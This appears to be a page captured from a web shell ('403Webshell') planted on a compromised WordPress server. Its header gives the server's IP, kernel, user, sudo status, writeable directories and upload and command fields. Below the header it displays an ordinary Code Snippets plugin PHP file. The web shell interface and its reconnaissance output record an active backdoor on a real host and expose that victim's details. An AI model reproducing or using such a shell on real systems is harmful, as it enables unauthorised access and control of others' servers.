403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/code-snippets/php/views/partials/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/code-snippets/php/views/partials/list-table-notices.php
<?php
/**
 * HTML for displaying notices for the manage table.
 *
 * @package    Code_Snippets
 * @subpackage Views
 */

namespace Code_Snippets;

/**
 * Loaded from the manage menu.
 *
 * @var Manage_Menu $this
 */

/**
 * Constant existence is checked with defined().
 *
 * @noinspection PhpUndefinedConstantInspection
 */
if ( defined( 'CODE_SNIPPETS_SAFE_MODE' ) && CODE_SNIPPETS_SAFE_MODE ) {
	?>
	<div id="message" class="notice notice-error fade is-dismissible">
		<p>
			<strong><?php esc_html_e( 'Warning:', 'code-snippets' ); ?></strong>
			<?php
			// translators: 1: constant name, 2: file name.
			$text = __( 'Safe mode is active and snippets will not execute! Remove the %1$s constant from %2$s file to turn off safe mode.', 'code-snippets' );
			printf( esc_html( $text ), '<code>CODE_SNIPPETS_SAFE_MODE</code>', '<code>wp-config.php</code>' );
			?>

			<a href="https://codesnippets.pro/doc/safe-mode/" target="_blank">
				<?php esc_html_e( 'Help', 'code-snippets' ); ?>
			</a>
		</p>
	</div>
	<?php
}

if ( empty( $_REQUEST['result'] ) ) {
	return;
}

$result = sanitize_key( $_REQUEST['result'] );

$result_messages = [
	'executed'                  => __( 'Snippet <strong>executed</strong>.', 'code-snippets' ),
	'activated'                 => __( 'Snippet <strong>activated</strong>.', 'code-snippets' ),
	'activated-multi'           => __( 'Selected snippets <strong>activated</strong>.', 'code-snippets' ),
	'deactivated'               => __( 'Snippet <strong>deactivated</strong>.', 'code-snippets' ),
	'deactivated-multi'         => __( 'Selected snippets <strong>deactivated</strong>.', 'code-snippets' ),
	'deleted'                   => __( 'Snippet <strong>trashed</strong>.', 'code-snippets' ),
	'deleted-multi'             => __( 'Selected snippets <strong>trashed</strong>.', 'code-snippets' ),
	'deleted_permanently'       => __( 'Snippet <strong>permanently deleted</strong>.', 'code-snippets' ),
	'deleted-permanently-multi' => __( 'Selected snippets <strong>permanently deleted</strong>.', 'code-snippets' ),
	'restored'                  => __( 'Snippet <strong>restored</strong>.', 'code-snippets' ),
	'restored-multi'            => __( 'Selected snippets <strong>restored</strong>.', 'code-snippets' ),
	'cloned'                    => __( 'Snippet <strong>cloned</strong>.', 'code-snippets' ),
	'cloned-multi'              => __( 'Selected snippets <strong>cloned</strong>.', 'code-snippets' ),
	'cloud-refreshed'           => __( 'Synced cloud data has been <strong>successfully</strong> refreshed.', 'code-snippets' ),
];

// Add undo link for single snippet trash action
if ( 'deleted' === $result && ! empty( $_REQUEST['ids'] ) ) {
	$deleted_ids = sanitize_text_field( $_REQUEST['ids'] );
	$undo_url = wp_nonce_url(
		add_query_arg(
			[
				'action' => 'restore',
				'ids'    => $deleted_ids,
			]
		),
		'bulk-snippets'
	);

	// translators: %s: Undo URL.
	$undo_message = __( 'Snippet <strong>trashed</strong>. <a href="%s">Undo</a>', 'code-snippets' );
	$result_messages['deleted'] = sprintf( $undo_message, esc_url( $undo_url ) );
}

// Add undo link for bulk snippet trash action
if ( 'deleted-multi' === $result && ! empty( $_REQUEST['ids'] ) ) {
	$deleted_ids = sanitize_text_field( $_REQUEST['ids'] );
	$undo_url = wp_nonce_url(
		add_query_arg( array(
			'action' => 'restore',
			'ids'    => $deleted_ids,
		) ),
		'bulk-snippets'
	);

	// translators: %s: Undo URL.
	$undo_message = __( 'Selected snippets <strong>trashed</strong>. <a href="%s">Undo</a>', 'code-snippets' );
	$result_messages['deleted-multi'] = sprintf( $undo_message, esc_url( $undo_url ) );
}

$result_messages = apply_filters( 'code_snippets/manage/result_messages', $result_messages );

if ( isset( $result_messages[ $result ] ) ) {
	$result_kses = [
		'strong' => [],
		'a'      => [
			'href' => [],
		],
	];

	printf(
		'<div id="message" class="notice notice-success fade is-dismissible"><p>%s</p></div>',
		wp_kses( $result_messages[ $result ], $result_kses )
	);
}

Youez - 2016 - github.com/yon3zu
LinuXploit